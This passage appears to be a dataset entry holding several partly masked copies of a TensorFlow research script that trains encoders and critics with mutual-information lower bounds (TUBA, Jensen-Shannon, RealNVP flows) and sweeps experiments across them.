tf.exp(reduce_logmeanexp_nodiag(scores))\n return 1.0 + joint_term - marg_term\n\n\n<function token>\n\n\[email protected]\ndef js_fgan_lower_bound(f):\n \"\"\"Lower bound on Jensen-Shannon divergence from Nowozin et al. (2016).\"\"\"\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n n = tf.cast(f.shape[0], tf.float32)\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return first_term - second_term\n\n\n<function token>\n\n\[email protected]\ndef our_lower_bound(scores):\n \"\"\"Our lower bound\"\"\"\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n scores_sq = scores ** 2\n marg_num = batch_size * (batch_size - 1.0)\n marg_term = tf.reduce_sum(input_tensor=scores_sq) - tf.reduce_sum(\n input_tensor=tf.linalg.diag_part(scores_sq))\n marg_term = marg_term / marg_num\n return joint_term - 0.5 * marg_term\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\n<code token>\n\n\ndef map_fn(example):\n image = example[FEATURE_INPUT]\n image = tf.cast(image, tf.float32) / 255.0\n image = tf.reshape(image, [-1])\n label = example[FEATURE_LABEL]\n return {FEATURE_INPUT: image, FEATURE_LABEL: label}\n\n\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\ndef real_nvp_default_template(hidden_layers, shift_only=False, activation=\n tf.nn.relu, name=None, *args, **kwargs):\n with tf.compat.v1.name_scope(name or 'real_nvp_default_template'):\n\n def _fn(x, output_units, **condition_kwargs):\n \"\"\"Fully connected MLP parameterized via `real_nvp_template`.\"\"\"\n if condition_kwargs:\n raise NotImplementedError(\n 'Conditioning not implemented in the default template.')\n if tensorshape_util.rank(x.shape) == 1:\n x = x[tf.newaxis, ...]\n reshape_output = lambda x: x[0]\n else:\n reshape_output = lambda x: x\n for units in hidden_layers:\n x = tf1.layers.dense(*args, inputs=x, units=units,\n activation=activation, **kwargs)\n x = tf1.layers.dense(*args, inputs=x, units=(1 if shift_only else\n 2) * output_units, activation=None, **kwargs)\n if shift_only:\n return reshape_output(x), None\n shift, log_scale = tf.split(x, 2, axis=-1)\n return reshape_output(shift), 1e-07 + tf.nn.softplus(reshape_output\n (log_scale))\n return tf1.make_template('real_nvp_default_template', _fn)\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\ndef train(g1, g2, critic, loss_fn, learning_rate, batch_size=\n TRAIN_BATCH_SIZE, n_iters=15000, n_evals=15, compute_jacobian=False,\n noise_std=0.0, data_dimensions=DIMS // 2, n_iter=1, loss_name='InfoNCE'):\n \"\"\"Runs the training loop for a fixed model.\n\n Args:\n g1: Function, maps input1 to representation.\n g2: Function, maps input2 to representation.\n critic: Function, maps two representations to scalar.\n loss_fn: Function, mutual information estimator.\n learning_rate: Learning rate.\n batch_size: Training batch size.\n n_iters: Number of optimization iterations.\n n_evals: Number of model evaluations.\n compute_jacobian: Whether to estimate the singular values of the Jacobian.\n noise_std: Standard deviation for the Gaussian noise. Default is 0.0.\n data_dimensions: The dimension of the data. By default it's half of the\n original data dimension.\n Returns:\n Returns and instance of `Results` tuple.\n \"\"\"\n x_1, x_2, _ = processed_train_data(data_dimensions, batch_size)\n if noise_std > 0.0:\n assert x_1.shape == x_2.shape, 'X1 and X2 shapes must agree to add noise!'\n noise = noise_std * tf.random.normal(x_1.shape)\n x_1 += noise\n x_2 += noise\n code_1, code_2 = g1(x_1), g2(x_2)\n critic_matrix = critic(code_1, code_2)\n if compute_jacobian:\n jacobian = gradients.batch_jacobian(code_1, x_1, use_pfor=False)\n singular_values = tf.linalg.svd(jacobian, compute_uv=False)\n loss = loss_fn(critic_matrix)\n optimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=learning_rate)\n if not loss_name == 'wpc':\n optimizer_op = optimizer.minimize(loss)\n else:\n gvs = optimizer.compute_gradients(loss)\n capped_gvs = [(tf.clip_by_value(grad, -1.0, 1.0), var) for grad,\n var in gvs]\n optimizer_op = optimizer.apply_gradients(capped_gvs)\n with tf.compat.v1.Session() as session:\n session.run(tf.compat.v1.global_variables_initializer())\n data_ph = tf.compat.v1.placeholder(tf.float32, shape=[None,\n data_dimensions])\n data_ph_noisy = data_ph + noise_std * tf.random.normal(tf.shape(\n input=data_ph))\n codes = g1(data_ph_noisy)\n (training_losses, testing_losses, classification_accuracies, iters,\n sigmas) = [], [], [], [], []\n for iter_n in range(n_iters):\n if iter_n % (n_iters // n_evals) == 0:\n iters.append(iter_n)\n accuracy = get_classification_accuracy(session, codes,\n data_ph, data_dimensions)\n classification_accuracies.append(accuracy)\n testing_losses.append(get_testing_loss(x_test, session,\n loss, data_ph, data_dimensions))\n if compute_jacobian:\n sigmas.append(session.run(singular_values))\n print(\n '{:d}th iter Loss_name {} Step {:>10d} fit {:>.5f} DS {} B {:d} lr {:f}'\n .format(n_iter, loss_name, iter_n, accuracy, args.\n dataset, args.batch_size, args.lr))\n loss_np, _ = session.run([loss, optimizer_op])\n training_losses.append(loss_np)\n return Results(iterations=iters, training_losses=training_losses,\n testing_losses=testing_losses, classification_accuracies=\n classification_accuracies, singular_values=sigmas)\n\n\ndef run_sweep(nets, critics, loss_fns, exp_name, **kwargs):\n \"\"\"Runs the sweep across encoder networks, critics, and the estimators.\"\"\"\n grid = itertools.product(nets, critics, loss_fns)\n data_frames = []\n results_with_singular_values = []\n for nets_name, critic_name, loss_name in grid:\n print('[New experiment] encoder: {}, critic: {}, loss: {}'.format(\n nets_name, critic_name, loss_name))\n with tf.Graph().as_default():\n g1, g2 = nets[nets_name]()\n critic = critics[critic_name]()\n loss_fn = loss_fns[loss_name]\n results_per_run = []\n for n in range(NRUNS):\n try:\n print('{:d}th run, loss: {}'.format(n, loss_name))\n if loss_name == 'drfc' and TFDS_NAME == 'cifar10':\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n else:\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n results_per_run.append(results)\n except Exception as ex:\n print('Run {} failed! Error: {}'.format(n, ex))\n for i, result in enumerate(results_per_run):\n data_frames.append(convert_to_data_frame(result, exp_name,\n nets_name, critic_name, loss_name, i))\n if kwargs.get('compute_jacobian', False):\n results_with_singular_values.append((ResultsConfig(\n nets_name, critic_name, loss_name), results_per_run))\n return {'df': pd.concat(data_frames), 'singular_values':\n results_with_singular_values}\n\n\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = '{}, {}, {}'.format(nets, critic, loss)\n rows = list(zip(itertools.repeat(exp_name), itertools.repeat(nets),\n itertools.repeat(critic), itertools.repeat(loss), itertools.repeat(\n seed), result.iterations, [(-loss) for loss in result.\n testing_losses], result.classification_accuracies, itertools.repeat\n (label)))\n df_eval = pd.DataFrame(rows, columns=('exp_name', 'nets', 'Critic',\n 'Estimator', 'run', 'iteration', 'bound_value', 'accuracy', 'label'))\n df_eval['Estimator'] = df_eval['Estimator'].replace(to_replace={'cpc':\n '$CPC$', 'pcc': '$PCC$', 'drfc': '$D-RFC$', 'wpc': '$WPC$'})\n df_eval['Critic'] = df_eval['Critic'].replace(to_replace={'concat':\n 'MLP', 'separable': 'Separable', 'innerprod': 'Inner product',\n 'bilinear': 'Bilinear'})\n return df_eval\n\n\ndef apply_default_style(ax):\n ax.set_xlim([0, 20001])\n ax.get_xaxis().set_major_formatter(FuncFormatter(lambda x, p: format(\n int(x / 1000), ',')))\n ax.set_xlabel('Training steps (in thousands)')\n plt.tick_params(top=False, right=False, bottom=False, left=False)\n handles, labels = ax.get_legend_handles_labels()\n plt.legend(loc='lower right', handles=handles[1:], labels=labels[1:])\n\n\ndef get_testing_loss(x_array, session, loss, data_ph, dims, batch_size=512):\n total_loss = 0\n for i in range(0, x_array.shape[0], batch_size):\n x_slice = x_array[i:i + batch_size, :dims]\n total_loss += x_slice.shape[0] * session.run(loss, feed_dict={\n data_ph: x_slice})\n return total_loss / x_array.shape[0]\n\n\ndef get_classification_accuracy(session, codes, data_ph, dims):\n x_train_mapped = map_data(x_train, session, codes, data_ph, dims)\n x_test_mapped = map_data(x_test, session, codes, data_ph, dims)\n accuracy = logistic_fit(x_train_mapped, y_train, x_test_mapped, y_test)\n return accuracy\n\n\n<function token>\n<function token>\n\n\ndef tuba_lower_bound(scores, log_baseline=None):\n if log_baseline is not None:\n scores -= log_baseline[:, None]\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n marg_term = tf.exp(reduce_logmeanexp_nodiag(scores))\n return 1.0 + joint_term - marg_term\n\n\n<function token>\n\n\[email protected]\ndef js_fgan_lower_bound(f):\n \"\"\"Lower bound on Jensen-Shannon divergence from Nowozin et al. (2016).\"\"\"\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n n = tf.cast(f.shape[0], tf.float32)\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return first_term - second_term\n\n\n<function token>\n\n\[email protected]\ndef our_lower_bound(scores):\n \"\"\"Our lower bound\"\"\"\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n scores_sq = scores ** 2\n marg_num = batch_size * (batch_size - 1.0)\n marg_term = tf.reduce_sum(input_tensor=scores_sq) - tf.reduce_sum(\n input_tensor=tf.linalg.diag_part(scores_sq))\n marg_term = marg_term / marg_num\n return joint_term - 0.5 * marg_term\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\n<code token>\n\n\ndef map_fn(example):\n image = example[FEATURE_INPUT]\n image = tf.cast(image, tf.float32) / 255.0\n image = tf.reshape(image, [-1])\n label = example[FEATURE_LABEL]\n return {FEATURE_INPUT: image, FEATURE_LABEL: label}\n\n\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\ndef train(g1, g2, critic, loss_fn, learning_rate, batch_size=\n TRAIN_BATCH_SIZE, n_iters=15000, n_evals=15, compute_jacobian=False,\n noise_std=0.0, data_dimensions=DIMS // 2, n_iter=1, loss_name='InfoNCE'):\n \"\"\"Runs the training loop for a fixed model.\n\n Args:\n g1: Function, maps input1 to representation.\n g2: Function, maps input2 to representation.\n critic: Function, maps two representations to scalar.\n loss_fn: Function, mutual information estimator.\n learning_rate: Learning rate.\n batch_size: Training batch size.\n n_iters: Number of optimization iterations.\n n_evals: Number of model evaluations.\n compute_jacobian: Whether to estimate the singular values of the Jacobian.\n noise_std: Standard deviation for the Gaussian noise. Default is 0.0.\n data_dimensions: The dimension of the data. By default it's half of the\n original data dimension.\n Returns:\n Returns and instance of `Results` tuple.\n \"\"\"\n x_1, x_2, _ = processed_train_data(data_dimensions, batch_size)\n if noise_std > 0.0:\n assert x_1.shape == x_2.shape, 'X1 and X2 shapes must agree to add noise!'\n noise = noise_std * tf.random.normal(x_1.shape)\n x_1 += noise\n x_2 += noise\n code_1, code_2 = g1(x_1), g2(x_2)\n critic_matrix = critic(code_1, code_2)\n if compute_jacobian:\n jacobian = gradients.batch_jacobian(code_1, x_1, use_pfor=False)\n singular_values = tf.linalg.svd(jacobian, compute_uv=False)\n loss = loss_fn(critic_matrix)\n optimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=learning_rate)\n if not loss_name == 'wpc':\n optimizer_op = optimizer.minimize(loss)\n else:\n gvs = optimizer.compute_gradients(loss)\n capped_gvs = [(tf.clip_by_value(grad, -1.0, 1.0), var) for grad,\n var in gvs]\n optimizer_op = optimizer.apply_gradients(capped_gvs)\n with tf.compat.v1.Session() as session:\n session.run(tf.compat.v1.global_variables_initializer())\n data_ph = tf.compat.v1.placeholder(tf.float32, shape=[None,\n data_dimensions])\n data_ph_noisy = data_ph + noise_std * tf.random.normal(tf.shape(\n input=data_ph))\n codes = g1(data_ph_noisy)\n (training_losses, testing_losses, classification_accuracies, iters,\n sigmas) = [], [], [], [], []\n for iter_n in range(n_iters):\n if iter_n % (n_iters // n_evals) == 0:\n iters.append(iter_n)\n accuracy = get_classification_accuracy(session, codes,\n data_ph, data_dimensions)\n classification_accuracies.append(accuracy)\n testing_losses.append(get_testing_loss(x_test, session,\n loss, data_ph, data_dimensions))\n if compute_jacobian:\n sigmas.append(session.run(singular_values))\n print(\n '{:d}th iter Loss_name {} Step {:>10d} fit {:>.5f} DS {} B {:d} lr {:f}'\n .format(n_iter, loss_name, iter_n, accuracy, args.\n dataset, args.batch_size, args.lr))\n loss_np, _ = session.run([loss, optimizer_op])\n training_losses.append(loss_np)\n return Results(iterations=iters, training_losses=training_losses,\n testing_losses=testing_losses, classification_accuracies=\n classification_accuracies, singular_values=sigmas)\n\n\ndef run_sweep(nets, critics, loss_fns, exp_name, **kwargs):\n \"\"\"Runs the sweep across encoder networks, critics, and the estimators.\"\"\"\n grid = itertools.product(nets, critics, loss_fns)\n data_frames = []\n results_with_singular_values = []\n for nets_name, critic_name, loss_name in grid:\n print('[New experiment] encoder: {}, critic: {}, loss: {}'.format(\n nets_name, critic_name, loss_name))\n with tf.Graph().as_default():\n g1, g2 = nets[nets_name]()\n critic = critics[critic_name]()\n loss_fn = loss_fns[loss_name]\n results_per_run = []\n for n in range(NRUNS):\n try:\n print('{:d}th run, loss: {}'.format(n, loss_name))\n if loss_name == 'drfc' and TFDS_NAME == 'cifar10':\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n else:\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n results_per_run.append(results)\n except Exception as ex:\n print('Run {} failed! Error: {}'.format(n, ex))\n for i, result in enumerate(results_per_run):\n data_frames.append(convert_to_data_frame(result, exp_name,\n nets_name, critic_name, loss_name, i))\n if kwargs.get('compute_jacobian', False):\n results_with_singular_values.append((ResultsConfig(\n nets_name, critic_name, loss_name), results_per_run))\n return {'df': pd.concat(data_frames), 'singular_values':\n results_with_singular_values}\n\n\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = '{}, {}, {}'.format(nets, critic, loss)\n rows = list(zip(itertools.repeat(exp_name), itertools.repeat(nets),\n itertools.repeat(critic), itertools.repeat(loss), itertools.repeat(\n seed), result.iterations, [(-loss) for loss in result.\n 